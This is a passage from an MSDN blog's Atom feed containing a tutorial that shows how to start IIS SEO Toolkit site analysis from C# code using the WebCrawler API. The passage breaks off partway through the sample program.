beneficial.&lt;/p&gt;  &lt;p&gt;&amp;#160;&lt;/p&gt;  &lt;p&gt;Other common scenarios that this query infrastructure could be used for is to find ways to direct traffic from your most common pages to your conversion pages, this report will let you figure out how difficult or easy it is to get from any page to your conversion pages&lt;/p&gt;&lt;img src="http://blogs.msdn.com/aggbug.aspx?PostID=9924139" width="1" height="1"&gt;</content><author><name>CarlosAg</name><uri>http://blogs.msdn.com/members/CarlosAg.aspx</uri></author><category term="IIS" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS/default.aspx" /><category term="IIS Manager" scheme="http://blogs.msdn.com/carlosag/archive/tags/IIS+Manager/default.aspx" /><category term="SEO" scheme="http://blogs.msdn.com/carlosag/archive/tags/SEO/default.aspx" /></entry><entry><title>IIS SEO Toolkit - Start new analysis automatically through code</title><link rel="alternate" type="text/html" href="http://blogs.msdn.com/carlosag/archive/2009/11/18/iis-seo-toolkit-start-new-analysis-automatically-through-code.aspx" /><id>http://blogs.msdn.com/carlosag/archive/2009/11/18/iis-seo-toolkit-start-new-analysis-automatically-through-code.aspx</id><published>2009-11-18T06:00:28Z</published><updated>2009-11-18T06:00:28Z</updated><content type="html">&lt;p&gt;One question that I've been asked several times is: &lt;em&gt;&amp;quot;&lt;strong&gt;Is it possible to schedule the &lt;a href="http://www.iis.net/extensions/SEOToolkit" target="_blank"&gt;IIS SEO Toolkit&lt;/a&gt; to run automatically every night?&lt;/strong&gt;&amp;quot;&lt;/em&gt;. Other related questions are: &amp;quot;&lt;em&gt;&lt;strong&gt;Can I automate the SEO Toolkit so that as part of my build process I'm able to catch regressions on my application?&lt;/strong&gt;&lt;/em&gt;&amp;quot;, or &amp;quot;&lt;em&gt;&lt;strong&gt;Can I run it automatically after every check-in to my source control system to ensure no links are broken?&lt;/strong&gt;&lt;/em&gt;&amp;quot;, etc.&lt;/p&gt;  &lt;p&gt;The good news is that the answer is &lt;strong&gt;YES&lt;/strong&gt;!. The bad news is that you have to write a bit of code to be able to make it work. Basically the SEO Toolkit includes a Managed code API to be able to start the analysis just like the User Interface does, and you can call it from any application you want using Managed Code. &lt;/p&gt;  &lt;p&gt;In this blog I will show you how to write a simple command application that will start a new analysis against the site provided in the command line argument and process a few queries after finishing.&lt;/p&gt;  &lt;h2&gt;IIS SEO Crawling APIs&lt;/h2&gt;  &lt;p&gt;The most important type included is a class called &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.webcrawler.aspx" target="_blank"&gt;WebCrawler&lt;/a&gt;. This class takes care of all the process of driving the analysis. The following image shows this class and some of the related classes that you will need to use for this.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitStartnewanalysisthroughcode_13F/image_2.png"&gt;&lt;img style="border-right-width: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px" title="image" border="0" alt="image" src="http://blogs.msdn.com/blogfiles/carlosag/WindowsLiveWriter/IISSEOToolkitStartnewanalysisthroughcode_13F/image_thumb.png" width="484" height="200" /&gt;&lt;/a&gt; &lt;/p&gt;  &lt;p&gt;The &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.webcrawler.aspx" target="_blank"&gt;WebCrawler&lt;/a&gt; class is initialized through the configuration specified in the &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.crawlersettings.aspx" target="_blank"&gt;CrawlerSettings&lt;/a&gt;. The WebCrawler class also contains two methods Start() and Stop() which starts the crawling process in a set of background threads. With the WebCrawler class you can also gain access to the &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.crawlerreport.aspx" target="_blank"&gt;CrawlerReport&lt;/a&gt; through the Report property. The &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.crawlerreport.aspx" target="_blank"&gt;CrawlerReport&lt;/a&gt; class represents the results (whether completed or in progress) of the crawling process. It has a method called &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.crawlerreport.geturls.aspx" target="_blank"&gt;GetUrls&lt;/a&gt;() that returns an instance to all the UrlInfo items. A &lt;a href="http://msdn.microsoft.com/en-us/library/microsoft.web.management.seo.crawler.urlinfo.aspx" target="_blank"&gt;UrlInfo&lt;/a&gt; is the most important class that represents a URL that has been downloaded and processed, it has all the metadata such as Title, Description, ContentLength, ContentType, and the set of Violations and Links that it includes.&lt;/p&gt;  &lt;h3&gt;Developing the Sample&lt;/h3&gt;  &lt;ol&gt;   &lt;li&gt;Start Visual Studio. &lt;/li&gt;    &lt;li&gt;Select the option &amp;quot;File-&amp;gt;New Project&amp;quot; &lt;/li&gt;    &lt;li&gt;In the &amp;quot;New Project&amp;quot; dialog select the template &amp;quot;Console Application&amp;quot;, enter the name &amp;quot;SEORunner&amp;quot; and press OK. &lt;/li&gt;    &lt;li&gt;Using the menu &amp;quot;Project-&amp;gt;Add Reference&amp;quot; add a reference to the IIS SEO Toolkit Client assembly &amp;quot;c:\Program Files\Reference Assemblies\Microsoft\IIS\Microsoft.Web.Management.SEO.Client.dll&amp;quot;. &lt;/li&gt;    &lt;li&gt;Replace the code in the file Program.cs with the code shown below. &lt;/li&gt;    &lt;li&gt;Build the Solution &lt;/li&gt; &lt;/ol&gt;  &lt;div class="code"&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System.IO&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System.Linq&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System.Net&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;System.Threading&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;using&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Microsoft.Web.Management.SEO.Crawler&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&lt;/font&gt;&lt;font color="#0000ff"&gt;namespace&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;SEORunner&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;class&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Program&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Main(&lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#000000"&gt;[]&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;args)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;if&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(args.Length&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;!&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;1&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Please specify the URL.&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;return;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Create a URI class      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;Uri&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;startUrl&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;Uri(args[&lt;/font&gt;&lt;font color="#800000"&gt;0&lt;/font&gt;&lt;font color="#000000"&gt;])&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Run the analysis      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;CrawlerReport&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;RunAnalysis(startUrl)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Run a few queries...      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;LogSummary(report)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;LogStatusCodeSummary(report)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;LogBrokenLinks(report)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;private&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;CrawlerReport&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;RunAnalysis(Uri&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;startUrl)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;CrawlerSettings&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;settings&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;CrawlerSettings(startUrl)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;settings.ExternalLinkCriteria&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;ExternalLinkCriteria.SameFolderAndDeeper&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Generate a unique name      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;settings.Name&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;startUrl.Host&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt; &amp;quot; &amp;quot; &lt;/font&gt;&lt;font color="#000000"&gt;+&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;DateTime&lt;/font&gt;&lt;font color="#000000"&gt;.Now.ToString(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;yy-MM-dd hh-mm-ss&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Use the same directory as the default used by the UI      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;string&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;path&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;Path&lt;/font&gt;&lt;font color="#000000"&gt;.Combine(&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Environment&lt;/font&gt;&lt;font color="#000000"&gt;.GetFolderPath(&lt;/font&gt;&lt;font color="#2b91af"&gt;Environment&lt;/font&gt;&lt;font color="#000000"&gt;.SpecialFolder.MyDocuments),&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &amp;quot;IIS SEO Reports&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;settings.DirectoryCache&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#2b91af"&gt;Path&lt;/font&gt;&lt;font color="#000000"&gt;.Combine(path,&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;settings.Name)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Create a new crawler and start running      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;WebCrawler&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;crawler&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;=&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;new&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;WebCrawler(settings)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;crawler.Start()&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Processed - Remaining - Download Size&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;while&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;(crawler.IsRunning)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Thread&lt;/font&gt;&lt;font color="#000000"&gt;.Sleep(&lt;/font&gt;&lt;font color="#800000"&gt;1000&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;{0,9:N0} - {1,9:N0} - {2,9:N2} MB&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;crawler.Report.GetUrlCount(),&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;crawler.RemainingUrls,&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;crawler.BytesDownloaded&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;/&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#800000"&gt;1048576&lt;/font&gt;&lt;font color="#000000"&gt;.0f)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#006400"&gt;// Save the report      &lt;br /&gt;&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;crawler.Report.Save(path)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#2b91af"&gt;Console&lt;/font&gt;&lt;font color="#000000"&gt;.WriteLine(&lt;/font&gt;&lt;font color="#808080"&gt;&amp;quot;Crawling complete!!!&amp;quot;&lt;/font&gt;&lt;font color="#000000"&gt;)&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;return&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;crawler.Report&lt;/font&gt;&lt;font color="#0000ff"&gt;;&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#000000"&gt;}&lt;/font&gt;&lt;font color="#808080"&gt;      &lt;br /&gt;      &lt;br /&gt;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160;&amp;#160; &lt;/font&gt;&lt;font color="#0000ff"&gt;private&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;static&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#0000ff"&gt;void&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;LogSummary(CrawlerReport&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;report)&lt;/font&gt;&lt;font color="#808080"&gt;&amp;#160;&lt;/font&gt;&lt;font color="#000000"&gt;{&lt;/font&gt;&lt;font 